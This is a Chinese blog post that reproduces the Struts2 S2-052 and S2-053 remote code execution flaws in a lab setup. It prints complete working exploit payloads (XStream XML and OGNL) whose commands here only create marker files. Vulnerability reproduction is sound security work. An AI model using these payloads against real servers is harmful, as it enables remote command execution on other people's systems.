Struts2-052与Struts2-053漏洞复现

信息安全 4562 Views

【环境准备】

TOMCAT:http://tomcat.apache.org/

JDK:http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html

靶机系统:Centos 6.5

(环境不会搭建的,请自行百度。)

【Struts2-052复现】

struts2的官网下载受影响的版本struts-2.5.12,地址:

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip,下载完后,解压压缩文件,将其中apps目录下的struts2-rest-showcase.war与struts2-showcase.war两个文件放到tomcat的webapps目录下,当然也可以通过tomcat后台部署,怎么方便怎么来。

然后访问浏览器http://ip:8080/struts2-rest-showcase/页面,会显示图中的页面,随便选择一个ID,点击编辑。

进入编辑页面,点击submit按钮,burpsuite抓包拦截数据,需要改两个地方:

1、将请求中的Content-Type的值更改为:application/xml

2、将POST数据更改POC内容:


<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”>

<dataHandler>

<dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”>

<is class=”javax.crypto.CipherInputStream”>

<cipher class=”javax.crypto.NullCipher”>

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class=”javax.imageio.spi.FilterIterator”>

<iter class=”javax.imageio.spi.FilterIterator”>

<iter class=”java.util.Collections$EmptyIterator”/>

<next class=”java.lang.ProcessBuilder”>

<command>

<string>touch</string>

<string>/tmp/test.txt</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class=”javax.imageio.ImageIO$ContainsFilter”>

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class=”string”>foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class=”java.lang.ProcessBuilder$NullInputStream”/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>

<jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>

</entry>

</map>


以上两步更改完后进行数据提交,数据返回显现为状态码为500,是成功的。

另外POC标红处为命令执行,必需符合格式命令才会执行,如下说明:


<command>

<string>touch /tmp/test.txt</string>

</command>


以上这样执行是不行的,应该如下:


<command>

<string>touch</string>

<string>/tmp/test.txt</string>

</command>


【Struts2-053复现】

下载有漏洞的war包地址:https://share.weiyun.com/d4f66f5c50ea8f97d2fa2f80f4446ed4,将war包放到tomcat的webapps目录下,浏览器访问http://ip:8080/s2-053/,截图如下:

提交处随意输入字母数字,点击submit按钮,burpsuite抓包拦截构造数据包:

会在/tmp目录下新建一个名为success文件,利用POC:


%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’touch /tmp/success‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


【声明】

此篇文章纯属造轮子娱乐,如果不喜欢请点击左上角。若其他人带有攻击性测试,造成后果一切自负。


What makes life dreary is the want of motive

没有了目的,生活便郁闷无光


如未说明则本站原创,转载请注明出处:NULL » Struts2-052与Struts2-053漏洞复现